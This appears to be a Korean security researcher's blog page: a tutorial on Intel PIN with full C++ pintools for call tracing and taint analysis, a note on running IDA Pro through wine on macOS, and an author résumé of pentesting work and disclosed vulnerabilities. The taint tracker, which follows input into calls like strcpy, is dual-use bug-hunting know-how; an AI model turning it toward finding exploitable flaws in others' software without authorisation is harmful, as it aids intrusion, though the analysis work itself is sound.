전체보기
- DBI - pin & pintool 2017.05.22 4
- 맥에서 wine 활용하기 - 기본 설정 및 IDA Pro 실행 2017.05.18
- about me 2017.04.14 4
- Terminal Code Highlight - pygmentize, highlight 2017.03.14
- Codegate 2017 - babypwn 2017.02.28
- wargame - fusion / level03 2017.02.27
- ios app 복호화 - Clutch 2.x 버전 2017.02.14
- wargame - fusion / level02 2016.12.29
- wargame - fusion / level01 2016.12.28
- Codegate 2014 pwn 250 Writeup + pwntools 연습 2016.12.16
- DBI - Frida 를 이용한 DBI 2016.09.07 3
- kali 한글 및 apt-get 에러 해결방법 2016.08.25
- javascript 로 객체 메소드 목록 확인 2016.08.03
- python 을 이용한 bruteforcing 2016.07.28
- php 의 연산자 취약점 2016.07.28 1
- Embedded 기기 리버싱 - 펌웨어 리버싱 2016.07.14 1
- 파일 시스템 포렌식 - FAT 32 2016.06.29
- Windbg 기본 - (3) 분석시 유용한 명령어들 2016.03.01 2
- WinDBG 심볼 간편 설정 2016.03.01
- 모의해킹에서의 파워쉘 활용 2016.02.27
- msfpayload 백신 탐지 우회 2016.02.25 2
- ARM-Thumb 모드 컴파일 옵션 2016.02.23
- ARM Assembly 정리 - ARM 기본 개념 2016.02.22
- DBI on Android - ADBI(Android Dynamic Binary Instrumentation) 2016.02.14 1
- error: only position independent executables (PIE) are supported 에러 해결 2016.02.05 2
- [집필 서적 안내] 윈도우 시스템 해킹 가이드 : 버그헌팅과 익스플로잇 2016.01.13 9
- PHP "==" 연산자 취약점 2016.01.12 1
- wargame.kr - Easy CrackMe(500p) 2016.01.11 1
- wargame.kr - fly to the moon(500p) 2016.01.07
- Fuzzer 구현 시 First-chance Exception과 Second-chance Exception 2016.01.07
DBI - pin & pintool
PIN 에 대해서 공부한지는 조금 되었으나 적당히 기존 코드로만 붙여넣기 해서 사용했던 것이 사실이다. 최근 개인 프로젝트로 PIN 을 사용할 일이 생겨서 하는 김에 정리해 둔다.
PIN
PIN 이란, Intel 에서 제작 및 관리중인 Dynamic Binary Instrumentation Framework 이다. BI 분야에서 실행을 하지 않고 조사하는 SBI 와 동적으로 실행중 코드를 조사하는 DBI 가 있는데, 그 중 PIN 은 DBI 를 위한 SDK(?) 정도로 볼 수 있다.
Intel 이란 기업에서 관리하기 때문에 상당히 업데이트가 잘 되고 있으며 매뉴얼도 매우 충실하게 잘 되어 있다. 또한 수많은 예제코드가 들어 있어서 몇개의 코드만 분석해 보면 바로 사용방법을 알 수 있을 정도로 완성도가 높다.
한가지 단점은 C++ 로 작성해서 DLL 로 컴파일 해야 하므로 스크립트 언어에 비해 수정&적용이 조금 오래 걸린다는 점이 있다. 하지만 이러한 단점은 장점에 비해 크지 않으므로 수년전부터 현재까지도 PIN 은 매우 인기 있는 DBI 프레임워크로 자리잡았다.
PIN 은 그 자체로 pin.exe 로 독립된 바이너리이며, 실행 파일을 에뮬레이션 해준다. 에뮬레이션 하는 동안 PINTOOL 로 작성한 DLL 코드를 통해 다양하게 동적으로 코드를 수행할 수 있다.
PINTOOL
PINTOOL 은 PIN SDK 를 이용하여 개발한 라이브러리이다. pin.exe 실행 시 옵션으로(-t) 지정해주면 해당 PINTOOL 을 이용하여 타겟 바이너리를 실행시켜 준다.
Build PINTOOL
다운로드 및 설치는 검색하면 많으니 타 자료를 참고바란다. 여러가지 방법이 있지만 개인적으로는 cygwin + make 가 편한 듯 하다. visual studio 로도 가능하지만 컴파일 프로그램 특성상 소스코드 수정, 컴파일 및 실행, 빌드된 파일 이동, 실행 등을 자주 해야 해서 차라리 make 로 배치 파일을 만드는 것이 편하다.
# make.bat
cd C:\Users\hyunmini\Desktop\pin-3.2-81205-msvc-windows\source\tools\MyPinTool
make
copy /y obj-ia32\MyPinTool.dll c:\Users\FSI\Desktop\dbi\pin
cd c:\Users\hyunmini\Desktop\dbi\pin
Simple Example 1 - call tracer
#include "pin.H" #include <asm/unistd.h> #include <iostream> #include <fstream> #include <list> UINT32 insCount = 0; UINT32 bblCount = 0; UINT32 threadCount = 0; UINT32 traceCount = 0; std::ostream * out = &cerr; KNOB<string> KnobTraceString(KNOB_MODE_WRITEONCE, "pintool", "s", "", "trace string"); INT32 Usage() { cerr << "This tool prints out the traced call with arguments." << endl; cerr << KNOB_BASE::StringKnobSummary() << endl; return -1; } string invalid = "invalid_rtn"; const string *Target2String(ADDRINT target) { string name = RTN_FindNameByAddress(target); if (name == "") { return &invalid; } else if (name == ".text" || name == "unnamedImageEntryPoint") { return new string(StringFromAddrint(target)); } else return new string(name); } string ReadCString(ADDRINT target){ ADDRINT Buffer; PIN_SafeCopy(&Buffer, (ADDRINT *)(target), sizeof(ADDRINT)); string cstring; while (1) { char c = 0; if (PIN_SafeCopy(&c, (ADDRINT *) Buffer, 1) != 1) break; if (c == 0) break; cstring += c; Buffer += 1; } return cstring; } VOID do_call_args(ADDRINT ins,const string *s, ADDRINT arg0, ADDRINT arg1, ADDRINT arg2, ADDRINT esp) { PIN_LockClient(); string img_name = IMG_Name(IMG_FindByAddress(ins)); PIN_UnlockClient(); string base_img_name = img_name.substr(img_name.find_last_of("/\\") + 1); string argstr1 = ReadCString(esp); string argstr2 = ReadCString(esp+4); string argstr3 = ReadCString(esp+8); if( argstr1.find(KnobTraceString.Value()) != string::npos || argstr2.find(KnobTraceString.Value()) != string::npos || argstr3.find(KnobTraceString.Value()) != string::npos ){ *out << StringFromAddrint(ins) << " : " << base_img_name << "!" << *s << "(0x" << std::hex << arg0 << ", 0x" << arg1 << ", 0x" << arg2 << "...)" << endl; if(argstr1.length()>10){ argstr1 = argstr1.substr(0,10); argstr1 += "..."; } if(argstr2.length()>10){ argstr2 = argstr2.substr(0,10); argstr2 += "..."; } if(argstr3.length()>10){ argstr3 = argstr3.substr(0,10); argstr3 += "..."; } *out << " arg1 : " << argstr1 << endl; *out << " arg2 : " << argstr2 << endl; *out << " arg3 : " << argstr3 << endl; } } VOID do_call_args_indirect(ADDRINT ins, ADDRINT target, BOOL taken, ADDRINT arg0, ADDRINT arg1, ADDRINT arg2, ADDRINT esp) { if( !taken ) return; const string *s = Target2String(target); do_call_args(ins, s, arg0, arg1, arg2, esp); if (s != &invalid) delete s; } /* ===================================================================== */ VOID Trace(TRACE trace, VOID *v) { PIN_LockClient(); IMG img = IMG_FindByAddress(TRACE_Address(trace)); PIN_UnlockClient(); if (IMG_Valid(img) && IMG_IsMainExecutable(img)){ for (BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl = BBL_Next(bbl)) { INS tail = BBL_InsTail(bbl); if( INS_IsCall(tail) ) { if( INS_IsDirectBranchOrCall(tail) ) { // direct call const ADDRINT target = INS_DirectBranchOrCallTargetAddress(tail); INS_InsertPredicatedCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args), IARG_INST_PTR, IARG_PTR, Target2String(target), IARG_FUNCARG_CALLSITE_VALUE, 0, IARG_FUNCARG_CALLSITE_VALUE, 1, IARG_FUNCARG_CALLSITE_VALUE, 2, IARG_REG_VALUE, REG_ESP, IARG_END); } else { // indirect call INS_InsertCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args_indirect), IARG_INST_PTR, IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN, IARG_FUNCARG_CALLSITE_VALUE, 0, IARG_FUNCARG_CALLSITE_VALUE, 1, IARG_FUNCARG_CALLSITE_VALUE, 2, IARG_REG_VALUE, REG_ESP, IARG_END); } } else { RTN rtn = TRACE_Rtn(trace); if( RTN_Valid(rtn) && !INS_IsDirectBranchOrCall(tail)) { INS_InsertCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args_indirect), IARG_INST_PTR, IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN, IARG_FUNCARG_CALLSITE_VALUE, 0, IARG_FUNCARG_CALLSITE_VALUE, 1, IARG_FUNCARG_CALLSITE_VALUE, 2, IARG_REG_VALUE, REG_ESP, IARG_END); } } } } } int main(int argc, char *argv[]) { PIN_InitSymbols(); if( PIN_Init(argc,argv) ){ return Usage(); } string fileName = "trace_result.txt"; if (!fileName.empty()) { out = new std::ofstream(fileName.c_str());} TRACE_AddInstrumentFunction(Trace, 0); PIN_StartProgram(); return 0; }
실행결과
x00489d99 : VUPlayer.exe!_mbscmp(0x3c34f3c, 0x3be35f8, 0x74aeac8...) arg1 : AAAAAAAAAA... arg2 : #VUPlayer ... arg3 : 0x004552ac : VUPlayer.exe!_mbsicmp(0x3c3408c, 0x51f140, 0x0...) arg1 : AAAAAAAAAA... arg2 : mod arg3 : 0x004552d2 : VUPlayer.exe!_mbsicmp(0x3c3408c, 0x51f13c, 0x0...) arg1 : AAAAAAAAAA... arg2 : s3m arg3 : 0x004552f8 : VUPlayer.exe!_mbsicmp(0x3c3408c, 0x51f138, 0x0...) arg1 : AAAAAAAAAA... arg2 : xm arg3 : 0x00456191 : VUPlayer.exe!fopen(0x3c3408c, 0x51e098, 0x12d198...) arg1 : AAAAAAAAAA... arg2 : rb arg3 : dœP 0x004562a3 : VUPlayer.exe!0x004b9f68(0x0, 0x3c3408c, 0x0...) arg1 : arg2 : AAAAAAAAAA... arg3 : 0x004b9f68 : VUPlayer.exe!BASS_MusicLoad(0x4562a8, 0x0, 0x3c3408c...) arg1 : ‰Eüƒ}ü arg2 : arg3 : AAAAAAAAAA... 0x00456191 : VUPlayer.exe!fopen(0x3c3408c, 0x51e098, 0x12d198...) arg1 : AAAAAAAAAA... arg2 : rb arg3 : dœP 0x00456191 : VUPlayer.exe!fopen(0x3c3408c, 0x51e098, 0x12d198...) arg1 : AAAAAAAAAA... arg2 : rb arg3 : dœP 0x00453313 : VUPlayer.exe!lstrcpyA(0x12cc44, 0x3c3408c, 0x12d3a8...) arg1 : arg2 : AAAAAAAAAA... arg3 : 0ü¿4P 0x00453325 : VUPlayer.exe!fopen(0x12cc44, 0x51e098, 0x12d3a8...) arg1 : AAAAAAAAAA... arg2 : rb arg3 : AAAAAAAAAA...
Taint Analysis with PIN
taint analysis 는 이론부터 설명하면 매우 길기 때문에 더이상의 설명은 생략한다!(...)
결론은 쓸만하지만 오류 없이 쓰려면 훨~씬 세세한 컨트롤을 해줘야 함. 그러므로 여기까지만..
* 코드 일부 생략.
** (http://shell-storm.org/blog/Taint-analysis-and-pattern-matching-with-Pin 코드를 아주 많이 참고 하였음을 밝힙니다)
#include "pin.H"
#include <asm/unistd.h> #include <iostream> #include <fstream> #include <list> UINT32 insCount = 0; UINT32 bblCount = 0; UINT32 threadCount = 0; UINT32 traceCount = 0; BOOL start_taint = false; std::ostream * out = &cerr; std::list<ADDRINT> addressTainted; std::list<REG> regsTainted; string invalid = "invalid_rtn"; //////////////////////// // trace user input // //////////////////////// VOID fgetsBefore(ADDRINT arg0, ADDRINT arg1, ADDRINT arg2) { *out << "[Taint] fgets() : " << endl; *out << " buf : 0x" << std::hex << arg1 << endl; *out << " size : 0x" << arg2 << endl; int size = static_cast<ADDRINT>(arg2); start_taint = true; for (int i=0;i<size;i++){ addressTainted.push_back(arg1+i); } } VOID recvBefore(ADDRINT arg0, ADDRINT arg1, ADDRINT arg2, ADDRINT arg3) { *out << "[Taint] recv() : " << endl; *out << " buf : 0x" << std::hex << arg2 << endl; *out << " size : 0x" << arg3 << endl; int size = static_cast<ADDRINT>(arg3); start_taint = true; for (int i=0;i<size;i++){ addressTainted.push_back(arg2+i); } } /////////////////////// /// taint analysis /// /////////////////////// bool IsRegTainted(REG reg){ list<REG>::iterator i; for(i = regsTainted.begin(); i != regsTainted.end(); i++){ if (*i == reg){ return true; } } return false; } bool IsMemTainted(ADDRINT mem){ list<ADDRINT>::iterator i; for(i = addressTainted.begin(); i != addressTainted.end(); i++){ if (mem == *i){ return true; } } return false; } bool removeRegTainted(REG reg){ switch(reg){ case REG_EAX: regsTainted.remove(REG_EAX); case REG_AX: regsTainted.remove(REG_AX); case REG_AH: regsTainted.remove(REG_AH); case REG_AL: regsTainted.remove(REG_AL); break; case REG_EBX: regsTainted.remove(REG_EBX); case REG_BX: regsTainted.remove(REG_BX); case REG_BH: regsTainted.remove(REG_BH); case REG_BL: regsTainted.remove(REG_BL); break; case REG_ECX: regsTainted.remove(REG_ECX); case REG_CX: regsTainted.remove(REG_CX); case REG_CH: regsTainted.remove(REG_CH); case REG_CL: regsTainted.remove(REG_CL); break; case REG_EDX: regsTainted.remove(REG_EDX); case REG_DX: regsTainted.remove(REG_DX); case REG_DH: regsTainted.remove(REG_DH); case REG_DL: regsTainted.remove(REG_DL); break; case REG_EDI: regsTainted.remove(REG_EDI); case REG_DI: regsTainted.remove(REG_DI); break; case REG_ESI: regsTainted.remove(REG_ESI); case REG_SI: regsTainted.remove(REG_SI); break; default: return false; } *out << "\t\t\t" << REG_StringShort(reg) << " is now freed" << std::endl; return true; } bool taintReg(REG reg){ if (IsRegTainted(reg)){ * out << "\t\t\t" << REG_StringShort(reg) << " is already tainted" << std::endl; return false; } switch(reg){ case REG_EAX: regsTainted.push_front(REG_EAX); case REG_AX: regsTainted.push_front(REG_AX); case REG_AH: regsTainted.push_front(REG_AH); case REG_AL: regsTainted.push_front(REG_AL); break; case REG_EBX: regsTainted.push_front(REG_EBX); case REG_BX: regsTainted.push_front(REG_BX); case REG_BH: regsTainted.push_front(REG_BH); case REG_BL: regsTainted.push_front(REG_BL); break; case REG_ECX: regsTainted.push_front(REG_ECX); case REG_CX: regsTainted.push_front(REG_CX); case REG_CH: regsTainted.push_front(REG_CH); case REG_CL: regsTainted.push_front(REG_CL); break; case REG_EDX: regsTainted.push_front(REG_EDX); case REG_DX: regsTainted.push_front(REG_DX); case REG_DH: regsTainted.push_front(REG_DH); case REG_DL: regsTainted.push_front(REG_DL); break; case REG_EDI: regsTainted.push_front(REG_EDI); case REG_DI: regsTainted.push_front(REG_DI); break; case REG_ESI: regsTainted.push_front(REG_ESI); case REG_SI: regsTainted.push_front(REG_SI); break; default: *out << "\t\t\t" << REG_StringShort(reg) << " can't be tainted" << std::endl; return false; } *out << "\t\t\t" << REG_StringShort(reg) << " is now tainted" << std::endl; return true; } VOID ReadMem(INS ins, ADDRINT memOp){ // memory -> reg list<ADDRINT>::iterator i; ADDRINT addr = memOp; REG read_reg; if (INS_OperandCount(ins) != 2) return; read_reg = INS_OperandReg(ins, 0); for(i = addressTainted.begin(); i != addressTainted.end(); i++){ if (addr == *i){ // tainted memory > register *out << "[Read][0x" << std::hex << INS_Address(ins) <<"] : " << INS_Disassemble(ins) << endl; taintReg(read_reg); return ; } } if (IsRegTainted(read_reg)){ // untainted memory > tainted register => clear reg *out << "[Read][0x" << std::hex << INS_Address(ins) <<"] : " << INS_Disassemble(ins) << endl; removeRegTainted(read_reg); } } VOID WriteMem(INS ins, ADDRINT memOp){ // reg -> memory list<ADDRINT>::iterator i; ADDRINT addr = memOp; REG read_reg; if (INS_OperandCount(ins) != 2) return; read_reg = INS_OperandReg(ins, 1); for(i = addressTainted.begin(); i != addressTainted.end(); i++){ if (addr == *i){ // tainted memory *out << "[Write][0x" << std::hex << INS_Address(ins) <<"] : " << INS_Disassemble(ins) << endl; if (!REG_valid(read_reg) || !IsRegTainted(read_reg)){ // untainted register > tainted memory => clear memory addressTainted.remove(addr); } *out << std::hex << "\t\t\t0x" << addr << " is now freed" << std::endl; return; } } if (IsRegTainted(read_reg)) { // tainted reg > untainted memory => tainted addressTainted.push_back(addr); *out << std::hex << "\t\t\t0x" << addr << " is now tainted" << std::endl; return; } } VOID spreadReg(INS ins) { REG reg_r, reg_w; if (INS_OperandCount(ins) != 2) return; reg_r = INS_RegR(ins, 0); // src reg_w = INS_RegW(ins, 0); // dest if (REG_valid(reg_w)){ // reg_w not const(address) if (IsRegTainted(reg_w) && (!REG_valid(reg_r) || !IsRegTainted(reg_r))){ // untainted reg > tainted reg => clear reg *out << "[SPREAD]\t\t" << INS_Address(ins) << ": " << INS_Disassemble(ins) << std::endl; *out << "\t\t\toutput: "<< REG_StringShort(reg_w) << " | input: " << (REG_valid(reg_r) ? REG_StringShort(reg_r) : "constant") << std::endl; removeRegTainted(reg_w); } else if (!IsRegTainted(reg_w) && IsRegTainted(reg_r)){ // tainted reg > untainted reg => tainted *out << "[SPREAD]\t\t" << INS_Address(ins) << ": " << INS_Disassemble(ins) << std::endl; *out << "\t\t\toutput: " << REG_StringShort(reg_w) << " | input: "<< REG_StringShort(reg_r) << std::endl; taintReg(reg_w); } } } VOID Instruction(INS ins, VOID *v){ if (IMG_IsMainExecutable(IMG_FindByAddress(INS_Address(ins)))){ // callback for read instruction // memory -> reg if (INS_OperandCount(ins) > 1 && INS_MemoryOperandIsRead(ins, 0) && INS_OperandIsReg(ins, 0)){ if (start_taint){ INS_InsertCall( ins, IPOINT_BEFORE, (AFUNPTR)ReadMem, IARG_PTR, ins, IARG_MEMORYOP_EA, 0, IARG_END); } } // callback for write instruction // reg -> memory else if (INS_OperandCount(ins) > 1 && INS_MemoryOperandIsWritten(ins, 0)){ if (start_taint){ INS_InsertCall( ins, IPOINT_BEFORE, (AFUNPTR)WriteMem, IARG_PTR, ins, IARG_MEMORYOP_EA, 0, IARG_END); } } // callback for spread instruction // reg -> reg else if (INS_OperandCount(ins) > 1 && INS_OperandIsReg(ins, 0)){ if (start_taint){ //*out << "[Spread][0x" << std::hex << INS_Address(ins) <<"] : " << INS_Disassemble(ins) << endl; INS_InsertCall( ins, IPOINT_BEFORE, (AFUNPTR)spreadReg, IARG_PTR, ins, IARG_END); } } } } VOID Image(IMG img, VOID *v){ // fgets(&Buf, 2000, File); RTN fgetsRtn = RTN_FindByName(img, "fgets"); if (RTN_Valid(fgetsRtn)) { RTN_Open(fgetsRtn); RTN_InsertCall(fgetsRtn, IPOINT_BEFORE, (AFUNPTR)fgetsBefore, IARG_FUNCARG_CALLSITE_VALUE, 0, IARG_FUNCARG_CALLSITE_VALUE, 1, IARG_FUNCARG_CALLSITE_VALUE, 2, IARG_END); RTN_Close(fgetsRtn); } // recv(sock, &buf, 2000, 0); RTN recvRtn = RTN_FindByName(img, "recv"); if (RTN_Valid(recvRtn)) { RTN_Open(recvRtn); RTN_InsertCall(recvRtn, IPOINT_BEFORE, (AFUNPTR)recvBefore, IARG_FUNCARG_CALLSITE_VALUE, 0, IARG_FUNCARG_CALLSITE_VALUE, 1, IARG_FUNCARG_CALLSITE_VALUE, 2, IARG_FUNCARG_CALLSITE_VALUE, 3, IARG_END); RTN_Close(recvRtn); } } VOID Fini(INT32 code, VOID *v){ /* list<ADDRINT>::iterator li; for(li=addressTainted.begin(); li!=addressTainted.end(); li++){ * out << std::hex << *li << endl; } */ *out << "[+] Finish!!" << endl; } ///////////////////////////// ////// call trace ///////// ///////////////////////////// const string *Target2String(ADDRINT target) { string name = RTN_FindNameByAddress(target); if (name == "") { return &invalid; } else if (name == ".text" || name == "unnamedImageEntryPoint") { return new string(StringFromAddrint(target)); } else return new string(name); } string ReadCString(ADDRINT target){ ADDRINT Buffer; PIN_SafeCopy(&Buffer, (ADDRINT *)(target), sizeof(ADDRINT)); string cstring; while (1) { char c = 0; if (PIN_SafeCopy(&c, (ADDRINT *) Buffer, 1) != 1) break; if (c == 0) break; cstring += c; Buffer += 1; } return cstring; } VOID do_call_args(ADDRINT ins,const string *s, ADDRINT arg0, ADDRINT arg1, ADDRINT arg2, ADDRINT esp) { PIN_LockClient(); string img_name = IMG_Name(IMG_FindByAddress(ins)); PIN_UnlockClient(); string base_img_name = img_name.substr(img_name.find_last_of("/\\") + 1); string argstr1 = ReadCString(esp); string argstr2 = ReadCString(esp+4); string argstr3 = ReadCString(esp+8); bool tainted_func = false; if ( IsMemTainted(arg0) ) { tainted_func = true; } if ( IsMemTainted(arg1) ) { tainted_func = true; } if ( IsMemTainted(arg2) ) { tainted_func = true; } if ( tainted_func ) { *out << "[tainted arg]" << StringFromAddrint(ins) << " : " << base_img_name << "!" << *s << "(0x" << std::hex << arg0 << ", 0x" << arg1 << ", 0x" << arg2 << "...)" << endl; if (argstr1.length()>10){ argstr1 = argstr1.substr(0,10); argstr1 += "..."; } if (argstr2.length()>10){ argstr2 = argstr2.substr(0,10); argstr2 += "..."; } if (argstr3.length()>10){ argstr3 = argstr3.substr(0,10); argstr3 += "..."; } *out << " arg1 : " << argstr1 << endl; *out << " arg2 : " << argstr2 << endl; *out << " arg3 : " << argstr3 << endl; } } VOID do_call_args_indirect(ADDRINT ins, ADDRINT target, BOOL taken, ADDRINT arg0, ADDRINT arg1, ADDRINT arg2, ADDRINT esp) { if ( !taken ) return; const string *s = Target2String(target); do_call_args(ins, s, arg0, arg1, arg2, esp); if (s != &invalid) delete s; } /* ===================================================================== */ VOID Trace(TRACE trace, VOID *v) { PIN_LockClient(); IMG img = IMG_FindByAddress(TRACE_Address(trace)); PIN_UnlockClient(); // if (IMG_Valid(img) && IMG_IsMainExecutable(img)){ if (IMG_Valid(img) && IMG_IsMainExecutable(img)){ for (BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl = BBL_Next(bbl)) { INS tail = BBL_InsTail(bbl); if ( INS_IsCall(tail) ) { if ( INS_IsDirectBranchOrCall(tail) ) { // direct call const ADDRINT target = INS_DirectBranchOrCallTargetAddress(tail); INS_InsertPredicatedCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args), IARG_INST_PTR, IARG_PTR, Target2String(target), IARG_FUNCARG_CALLSITE_VALUE, 0, IARG_FUNCARG_CALLSITE_VALUE, 1, IARG_FUNCARG_CALLSITE_VALUE, 2, IARG_REG_VALUE, REG_ESP, IARG_END); } else { // indirect call INS_InsertCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args_indirect), IARG_INST_PTR, IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN, IARG_FUNCARG_CALLSITE_VALUE, 0, IARG_FUNCARG_CALLSITE_VALUE, 1, IARG_FUNCARG_CALLSITE_VALUE, 2, IARG_REG_VALUE, REG_ESP, IARG_END); } } else { RTN rtn = TRACE_Rtn(trace); if ( RTN_Valid(rtn) && !INS_IsDirectBranchOrCall(tail)) { INS_InsertCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args_indirect), IARG_INST_PTR, IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN, IARG_FUNCARG_CALLSITE_VALUE, 0, IARG_FUNCARG_CALLSITE_VALUE, 1, IARG_FUNCARG_CALLSITE_VALUE, 2, IARG_REG_VALUE, REG_ESP, IARG_END); } } } } } ///////////////////////////////////////////////// ////////////// call trace end /////////////////// ///////////////////////////////////////////////// int main(int argc, char *argv[]){ PIN_InitSymbols(); if ( PIN_Init(argc,argv) ){ return -1; } string fileName = "taint_analysis_result.txt"; if (!fileName.empty()) { out = new std::ofstream(fileName.c_str());} IMG_AddInstrumentFunction(Image, 0); INS_AddInstrumentFunction(Instruction, 0); TRACE_AddInstrumentFunction(Trace, 0); PIN_AddFiniFunction(Fini, 0); PIN_StartProgram(); return 0; }
실행결과
[Taint] fgets() : buf : 0x12f76c size : 0x7d0 [tainted arg]0x0040113e : reader_taint.exe!myreadfile(0x12f76c, 0x61616161, 0x61616161...) arg1 : aaaaaaaaaa... arg2 : arg3 : [Read][0x401029] : mov dl, byte ptr [ecx+0x5] dl is now tainted 0x12f55f is now tainted [Read][0x401035] : mov cl, byte ptr [eax+0x6] cl is now tainted 0x12f55d is now tainted [Read][0x401041] : mov al, byte ptr [edx+0x8] al is now tainted 0x12f55e is now tainted [Write][0x40104d] : mov byte ptr [ecx+0x2], 0x66 0x12f76e is now freed [Write][0x401054] : mov byte ptr [edx+0x4], 0x67 0x12f770 is now freed [Write][0x40105b] : mov byte ptr [eax+0xb], 0x68 0x12f777 is now freed [Write][0x401062] : mov byte ptr [ecx+0x15], 0x6d 0x12f781 is now freed [tainted arg]0x00401071 : reader_taint.exe!strcpy(0x12f560, 0x12f76c, 0x61616101...) arg1 : arg2 : aafagaaaaa... arg3 : [tainted arg]0x004010a0 : reader_taint.exe!main(0x401143, 0x12f76c, 0x61666161...) arg1 : ƒÄëë3À‹... arg2 : aafagaaaaa... arg3 : [+] Finish!!
'Reversing' 카테고리의 다른 글
암호학 정리(for CTF) (0) | 2018.04.05 |
---|---|
WinDBG 고급 명령어들 (0) | 2017.06.07 |
DBI - Frida 를 이용한 DBI (3) | 2016.09.07 |
Embedded 기기 리버싱 - 펌웨어 리버싱 (1) | 2016.07.14 |
Windbg 기본 - (3) 분석시 유용한 명령어들 (2) | 2016.03.01 |
맥에서 wine 활용하기 - 기본 설정 및 IDA Pro 실행
WINE
대부분의 작업은 맥을 사용하고 있으나 IDA 등을 사용하기 위해 Win7, Win10 가상머신을 함께 활용한다.
그러던 중 예~전 리눅스 배우던 초보 시절 실행해보고 감탄했던 wine 이 생각나서 찾아보니 맥에서도
잘 돌아간다고 하는 포스팅을 보고 간단히 설치해 봤다. 결론부터 말하면 글꼴 등 세팅이 조금 귀찮지만
쓸만하다. 간단한 툴 뿐 아니라 IDA 처럼 무거운 툴도 잘 돌아간다.(심지어 빠르다!!)
설치
# brew cask install xquartz
# brew install wine
설치확인
$ wine<tab>
wine winebuild winecpp winefile winemaker wineserver
wine64 winecfg winedbg wineg++ winemine
wineboot wineconsole winedump winegcc winepath
Windows 용 프로그램 실행
구조를 보니 홈폴더 하위에 .wine 폴더가 생기고 그 아래에 윈도우와 동일한 폴더구조가 생성된다.
특이점으로 레지스트리 하이브 파일도 .wine 폴더에 있다. vi 로 쉽게 수정이 가능하다.
우선 노트패드를 실행해 봤다. 잘된다.
원래 목적이었던 IDA 를 실행해 봤다. 글꼴이 좀 구리지만 잘된다.
글꼴설치는 ~/.wine/drive_c/windows/fonts 폴더에 복사해주면 된다고 한다.
가끔 급할때 쓰면 좋겠다. 끝.
'ETC' 카테고리의 다른 글
NULL@ROOT 2015년 신입회원 모집 (0) | 2015.06.05 |
---|---|
NTFS 분석 툴 - Disk Editor (0) | 2014.10.28 |
pywinauto 를 이용한 윈도우 자동화(?) (0) | 2013.03.26 |
about me
About hyunmini
last updated 2022.1.
- 이력
- 2011 KOSCOM 침해사고대응 (침해사고 대응 및 포렌식)
- 2012~2015 금융결제원 금융ISAC (취약점 분석평가)
- 2019~2020 고려대학교 정보보호대학원 석사
- 2015~ 금융보안원 (취약점 분석 및 모의해킹)
- Skills
- Penetration Testing ( Android / IOS / Web / N/W Infra / S/W Vuln Assessment ) +++++
- Programming language ( Python / C / C++ / PHP / JSP / VB / etc...) ++++
- Reversing ( Binary Analysis / Malware Analysis ) ++++
- Digital Forensic +++
- Windows Exploit Analysis / Development ++++
- Linux Pwnable ++
- AI - Machine Learning ( Tensorflw / Keras / DeepLearning / NLP / etc... ) +++
- Project
- 500+ Website/Mobile App Penetration Testing
- 50+ IT Infra Penetration Testing (Financial, Public institutions, etc...)
- fmem Android/iOS memory analyzer (using frida)
- dymon Dynamic Mobile Pentesting Framework
- webtools Webhacking Scripting Framework (Python module, scriptable)
- AIBFT AI Browser Forensic Toolkit (Using Tensorflow, Keras)
- nr2ai Automated Malware Analysis using AI
- zerocube AI Based ZeroTrust Solution
- AI를 적용한 클라이언트 사이드 기반 웹 공격 대응(BOB, 2020)
- 인공지능 기반 3단계 인증을 도입한 차량 출입통제 시스템 및 가이드라인(BOB, 2021)
- 전방위적 스캠 코인 탐지 체계 구축(BOB, 2021)
- 관심분야
- Windows Binary Analysis & Exploitation
- BugHunting & Bounty
- Application Hacking(Web/Mobile)
- Digital Forensic
- Data Science - AI(Machine Learning) for Security
- 발표 및 강의
- Security Automation : Malware Analysis using AI (2021)
- Tech Stacks for Finance (2021)
- bughunting windows application (2020)
- scenario based pentesting (2020)
- Realworld SQL Injection (2020)
- Windows System Hacking: Advanced(win 10) (2020, 2021)
- AI 배워서 인싸가 되고 싶었어요 (2019.12)
- Hacking Air-gapped Network (2019.9)
- Make SQL Injection Great Again (2019.6)
- 윈도우 시스템 해킹 : 버그헌팅과 익스플로잇[기초, 고급] (2018.4, 2018.6, 2018.9)
- Linux Pwnable (2018)
- 리버스 엔지니어링 윈도우 (2018)
- Browser Exploit & Bughunting (2017)
- 윈도우 시스템 해킹 : 버그헌팅과 익스플로잇[고급] (2017)
- CTF 개요 및 문제풀이 (2017)
- 디지털 포렌식 (2016)
- 악성코드 분석 기초 (2016)
- 윈도우 시스템 해킹 : 버그헌팅과 익스플로잇[기초] (2016)
- Attack Internet Explorer, UseAfterFree 와 ASLR (2014)
- 안드로이드 앱 해킹 (2013)
- 새로운 웹해킹 기술, HTML5 (2012)
- APT공격 개요와 시연, 오픈소스 침해사고 대응 (2012)
- Acrobat Reader Attack (2011)
- Web Pentesting (2011)
- Malware analyze (2011)
- P2P Client Program Reversing (2010) ...
- 그룹
- 2020. ~ Best Of the Best 컨설팅 트랙 멘토
- 2014. ~ NULL@ROOT (Korea Hacker Group)
- 2009. ~ Secuholic 운영 (Naver Hacking&Security Cafe, https://cafe.naver.com/secuholic)
- 취약점 리포트
- 2021
- ezPDFReader Arbitrary Command Execution (CVE-2021-26605)
- on*** 타사용자 정보 탈취(GraphQL Injection)
- on*** graphql listing
- 2019
- N**** XSS
- N**** Open redirect
- N**** Improper authorization
- N**** Authentication Bypass
- 2018
- K*** Bufferoverflow
- Ep*** Bufferoverflow
- J** Remote Command Execution
- 2017
- Pagespy Memory Corruption
- K*** ActiveX Bufferoverflow
- e*** ActiveX Bufferoverflow
- gl**** ActiveX Arbitrary code execution
- 2016
- Gnuboard 5.x BlindSQL Injection
- A,B 사 Blind OOB XXE
- Global U*** Arbitrary File Creation
- 2014
- S사 DRM Bufferoverflow
- Ke******* ActiveX Control Arbitrary File Execution
- S사 C*** ActiveX Bufferoverflow
- S사 A* ActiveX Multiple Vulnerabilities(Arbitrary File Read/Write, RCE)
